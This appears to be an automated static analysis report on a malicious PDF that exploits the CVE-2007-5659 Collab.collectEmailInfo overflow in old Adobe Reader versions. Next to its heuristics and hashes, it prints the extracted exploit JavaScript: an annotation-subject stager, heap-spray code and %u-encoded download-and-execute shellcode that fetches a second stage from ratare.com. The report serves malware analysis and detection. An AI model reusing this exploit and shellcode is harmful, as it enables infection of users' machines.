Malicious PDF — malware analysis report

Static analysis result for SHA-256 725ecb0790e66157…

MALICIOUS

PDF

17.2 KB
MD5: 7f0b5adcf8f2a2f72528790f2c6267bd SHA-1: c000d375d49b0dd6a626f6022dfce37ce885b1d5 SHA-256: 725ecb0790e6615747975cfb75db605d20c960c1bd5ae7f974c364da69416c30
406 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. This script is designed as a dropper, attempting to download a second-stage payload from the URL http://ratare.com/info/dat.html/n00a102801r0409J12000601Rd217db61Xc1bb57c0Y4d7d9dbcZ03003f36. The exploit targets specific versions of Adobe Reader, indicating a targeted attack.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 4 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Annotation subject callee-key hex JavaScript stager high PDF_ANNOT_SUBJECT_CALLEE_HEX_STAGER
    PDF JavaScript uses syncAnnotScan()/getAnnots() to read an indirect annotation /Subject stream, percent-decodes it through marker replacement, then uses a callee.toString()-derived key to decode and eval the final exploit stage.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ratare.com/info/dat.html/n00a102801r0409J12000601Rd217db61Xc1bb57c0Y4d7d9dbcZ03003f36 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 9 at offset 0x4225 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
annotation_subject_callee_hex_stage_000.js
6cceddf2e60a8ea167ad76ccd07c7c8e1bf713bcb7bd4a2a6023b94ee9cb88c3		 deobfuscated-js annotation-subject callee-key decoded JavaScript at offset 0x1A51 5315 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var y1qlpj = new Array();var alSC56F_5A5P = 0;var TIG1YNRHCQ6_rt = "";function kEl8__ghf(jAB4A8_kH_p, FiFA_6){var QBt_SpT7BFgB6dH = FiFA_6.toString();var y_7_HCd = "";for(var I1Y__m2_Ns6f = 0; I1Y__m2_Ns6f < QBt_SpT7BFgB6dH.length; I1Y__m2_Ns6f++) {var Ol2_rrk0_lL7 = parseInt(QBt_SpT7BFgB6dH.substr(I1Y__m2_Ns6f, 1));if (!isNaN(Ol2_rrk0_lL7)) {Ol2_rrk0_lL7 = Ol2_rrk0_lL7.toString(16);if (Ol2_rrk0_lL7.length == 1) { Ol2_rrk0_lL7 = "0" + Ol2_rrk0_lL7; }else if (Ol2_rrk0_lL7.length != 2) { Ol2_rrk0_lL7 = "00"; }y_7_HCd = Ol2_rrk0_lL7 + y_7_HCd;if (y_7_HCd.length == 8) {break;}}}while(y_7_HCd.length < 8) { y_7_HCd = "0" + y_7_HCd; }var Sye_O_Cdb = jAB4A8_kH_p.toString(16);if (Sye_O_Cdb.length == 1) { Sye_O_Cdb = "0" + Sye_O_Cdb; }else if (Sye_O_Cdb.length != 2) { Sye_O_Cdb = "00"; }y_7_HCd = "3" + Sye_O_Cdb + "P" + y_7_HCd;return y_7_HCd;}function ja_IK6_V3(B_65_D_016, CV__NgQ8T){var R4V_q_4G_7C = new Array("");var Uf7GmVS82dUq_t = B_65_D_016;var W__1jV_E2n2_1T2;if ((W__1jV_E2n2_1T2 = B_65_D_016.lastIndexOf("%u00")) != -1) {if (W__1jV_E2n2_1T2 + 6 == B_65_D_016.length) {R4V_q_4G_7C[0] = B_65_D_016.substr(W__1jV_E2n2_1T2 + 4, 2);Uf7GmVS82dUq_t = B_65_D_016.substring(0, W__1jV_E2n2_1T2);}}W__1jV_E2n2_1T2 = 1;for (I1Y__m2_Ns6f = 0; I1Y__m2_Ns6f < CV__NgQ8T.length; I1Y__m2_Ns6f++) {var Oi_auLoBb5GQ_v = CV__NgQ8T.charCodeAt(I1Y__m2_Ns6f).toString(16);if (Oi_auLoBb5GQ_v.length == 1) { Oi_auLoBb5GQ_v = "0" + Oi_auLoBb5GQ_v; }R4V_q_4G_7C[W__1jV_E2n2_1T2] = Oi_auLoBb5GQ_v;W__1jV_E2n2_1T2++;}I1Y__m2_Ns6f = R4V_q_4G_7C[0].length ? 0 : 1;R4V_q_4G_7C[W__1jV_E2n2_1T2] = "00";R4V_q_4G_7C[W__1jV_E2n2_1T2 + 1] = "00";W__1jV_E2n2_1T2 += 2;if ((R4V_q_4G_7C.length - I1Y__m2_Ns6f) % 2) {R4V_q_4G_7C[W__1jV_E2n2_1T2] = "00";}while(I1Y__m2_Ns6f < R4V_q_4G_7C.length) {Uf7GmVS82dUq_t += "%u" + R4V_q_4G_7C[I1Y__m2_Ns6f + 1] + R4V_q_4G_7C[I1Y__m2_Ns6f];I1Y__m2_Ns6f += 2;}Uf7GmVS82dUq_t += "%u0000";return Uf7GmVS82dUq_t;}function gm__5sis6_y_3q(Y_2s07_1H0_x, xAIO_cKR7eGN2L){while (Y_2s07_1H0_x.length*2<xAIO_cKR7eGN2L) {Y_2s07_1H0_x += Y_2s07_1H0_x;}Y_2s07_1H0_x = Y_2s07_1H0_x.substring(0,xAIO_cKR7eGN2L/2);return Y_2s07_1H0_x;}function YeCMFBchS_CR(FU2L6e7r, o_2_To6N5Q, xwA_Ec){var PD_yFe8t_h_cd_s = 0x0c0c0c0c;var Y_2s07_1H0_x = unescape(o_2_To6N5Q);var CV__NgQ8T = kEl8__ghf(FU2L6e7r, xwA_Ec);var Jh_Kgh = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var B_65_D_016 = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u5670%u5448%u0061%u7468%u7074%u2f3a%u722f%u7461%u7261%u2e65%u6f63%u2f6d%u6e69%u6f66%u642f%u7461%u682e%u6d74%u2f6c%u306e%u6130%u3031%u3832%u3130%u3072%u3034%u4a39%u3231%u3030%u3630%u3130%u6452%u3132%u6437%u3662%u5831%u3163%u6262%u3735%u3063%u3459%u3764%u3964%u6264%u5a63%u3330%u3030%u6633%u3633";app.v8Kx__QV = unescape(ja_IK6_V3(B_65_D_016, CV__NgQ8T));var aA___X5lF = 0x400000;var N_AQN_4ba6a = Jh_Kgh.length * 2;var xAIO_cKR7eGN2L = aA___X5lF - (N_AQN_4ba6a+0x38);Y_2s07_1H0_x = gm__5sis6_y_3q(Y_2s07_1H0_x, xAIO_cKR7eGN2L);var pIr_3L45Bs_Y1G = (PD_yFe8t_h_cd_s - 0x400000)/aA___X5lF;for (var Cw__Rd_FiU7 = 0; Cw__Rd_FiU7 < pIr_3L45Bs_Y1G; Cw__Rd_FiU7++) {y1q
... (truncated)
legacy_pdfkit_stage_000.js
c5012bd8f88690ee5f55bc3365efeed5b6631af0c7b4f27cb20e3f07d112da3d		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1AA5 12075 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function IQ_4n_3_t4JC(jW_b_v_U_46, QPt__TQRO_Lm_f){var ch2_at = 512;var K_4b_H__1_RO = 2;var MGrmDs = 0;var knSQ5Q7jY____8b = 0;var Mq60Iaq3dl = "";var nV56lU3_w0E__hh = "";var ULavH_NVBVe_6 = 0;var xN2__G7fT0_2 = 6 + 1;try {var HG80_c8G7_uNA84 = 0;if (app) {knSQ5Q7jY____8b = knSQ5Q7jY____8b + 2;QPt__TQRO_Lm_f = pr[HG80_c8G7_uNA84].subject;}} catch(e) { }knSQ5Q7jY____8b = knSQ5Q7jY____8b + 7;var Q__KP_mT_pu06Ni = new Array();if (!jW_b_v_U_46) { Q__KP_mT_pu06Ni = new Array(228,143,80,212,106,176);} else {Q__KP_mT_pu06Ni = jW_b_v_U_46;}var YROxh__orxF4 = 0;var f_EN6U = 0;var EyED_36flQ42_4b = 0;xN2__G7fT0_2--;if (xN2__G7fT0_2 == 0) {} else {for(f_EN6U = 0; f_EN6U < QPt__TQRO_Lm_f.length; f_EN6U += K_4b_H__1_RO) {if (YROxh__orxF4 >= xN2__G7fT0_2) {YROxh__orxF4 = 0;}var fF5__78_0xBGn_8 = QPt__TQRO_Lm_f.substr(f_EN6U, K_4b_H__1_RO) + 'WU';var N_I___16_M = parseInt(fF5__78_0xBGn_8, 19 + K_4b_H__1_RO);N_I___16_M -= Q__KP_mT_pu06Ni[YROxh__orxF4] * (EyED_36flQ42_4b + K_4b_H__1_RO);YROxh__orxF4++;if (N_I___16_M < 0) {N_I___16_M = String.fromCharCode(N_I___16_M - 256 * (Math.floor(N_I___16_M / 256)));} else {N_I___16_M = String.fromCharCode(N_I___16_M);}if (knSQ5Q7jY____8b == 9) {Mq60Iaq3dl += N_I___16_M;} else if (knSQ5Q7jY____8b == 8) {Mq60Iaq3dl += Q__aJcK3jL8s;} else {if (knSQ5Q7jY____8b != 9) {Mq60Iaq3dl += f_EN6U;}}EyED_36flQ42_4b++;}}var M45257oM_43 = this;M45257oM_43['ev'+'al'](Mq60Iaq3dl);}
	IQ_4n_3_t4JC(0, '2k0e8a35be016j5a6i681323759i4h6d713i3323326713454f6d1c5d6e89b595ah27198e2dc2941k8c8854346i1i420hbj7a71237g012f1g591f1632556i59395b3e888502072c7i42392a238j914c82aj1j009ibg00b11553bj272b71b6bh0f8b727c0k4kb9ak0g4iab121h1c5j5dbe7j267e7a40b4037dc0b5029d706k2c5ab179aj6i7ba0998d6599ac2d9i920k1d586d7k6e360ba4a66k5j0h3gb82639745f263e3c02559e73a5bgb18i5495ae1j9k72b09i6752ad645e99a48b7a3d88b4b12c585k47256f5g6151b41hac942i2a363j3546295j974j51781i371d8c9bab0c4da4a53d588j0k23946b9592456k0fa4265d3b07bk092d783j8h4e449353062964022c0g218k5j1a36c1ai2i898abb05058eai9320951j1eah4c6974b768126c967hb5b334103a700g8213325945bc0j5k64bj24c34i73a210ba85a36d508d937h3aa79ebgaf959fad172b92ac6k162e8k8488a1bi6ba57883661d1265599297565j8f12533e3h8f27bb7gc295213gc380407k37b6b869bh02a7329a4027akba4k816c79bh56bc3j5i514eah0h4b629338c27k365h437h6i8dc1326e63810f16172daa0a80bb4i9i936h0f841e00b6801a57065jbk007j6e0e2d4e8217262993489a37003a2b79479dae238a574k0e0cb71iag0a66880j88aa1i7e9f0h24128k2b4c985gb9a03h3112a6304g8b4b067j5i622g3da6b03haj41ag8c48592h8718be077k8f2796a6359g9j6k9f7bc31d5h0857966a1774123c5j0h3gb88839745f3c5g0h005b096h7c4g0869576022970e7gc0a62ebf90402i8h6i6g957baj0h2980907e5g386a266e637d50a5444b482d5bc2b0365ha57h6ibec01f1f5g7d82935c9a7k2d9k9644049g3h056i0e62a9808e7c162h131ebk47c0a34i764f1b1i3e5cb877300f8c6k08agae240d6k5b31a6168b8gbg9c861j29ah4g1g9c157ka65g3450ad1g2c936h5a107a3g381b34bh112k8k623fbc7h759b8ac17hab5g1b3b939i7ea38f5fad8f08bb9j93626g3ha01j084c8f102b9268617c5j3jbc895k8h00655c0b3a8a26448j911g7ga987030302515ba3684cbd797h89855a6k411b21b1008h6ba91a613b6660132375652635733cb92e45521i6h57441f1f81577f7f95170j6i2133aj3k8bb85a69950c0b9j829g4e0469b9452c432h1b297953592f9b6702bi0036254j3823031j699g7j8c0e1a2ia707077d197ib82f2k730b11ah576h7ca85825ai063h9gb717133542bc704a8f8413aea7831911287h606642550ha9aa8f8f7d96714d88191ja56eaf1d5h608h6e2kbb6b8a73900a0g0d2d2d78634i4f4f0i88aj7e9abiae63226k1a10a3789f9i39518e565hbaag8b8f6dadaf28347c50242k3j7j3i578221af071b2i174j25460h5d996h5469242c3c63a2af932f6a8a2d308d3k1jb84c7173159f0hbk276b3j312b444i68045h10857e26bfc12f88b518b55k4d0h362h2328574ka4c3165ga8b72e98ak28953g4g8cac4ca94k964cafbib9ag37429k742a4358279dag5j8d09380075459b570i8g02875886a296697k7804889k979g9j36927f410f3d8k5772a0c2a122649i6e4eae4k4b8b985h4i9d1g60604e9abf0k5d845iae3k9f482g763k9hak529ec1991h754a4g052f6e8c358hb94eak423i432aa50h273b7f65367a3k624e7673c0b12a7557a53fc3233j992d6g8a4e73b84dbg6k10162305407c346f2g2c8e4h0e371d74ag40065b3e882i1628307f086f09be7i877c22a01611ah9h617dba4g93217081ab140f7k2g59036c34a46f31a6a6293fae4bag784d6a250ebh107b0f811j923d7627b1c3a9107f8f2dbc826c8ja95362b0110h5h906h9g5i27a3346h7bbj1gc37f4b9d2a3e26b72c83b8609i42bh752g8b1j930i61bga25
... (truncated)
deobfuscated.js
5cc920bbd60e34210c506376ccb719aa0e8623acf8aed90632935778b3ca2bdc		 deobfuscated-js PDF JavaScript deobfuscation pass 100953 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
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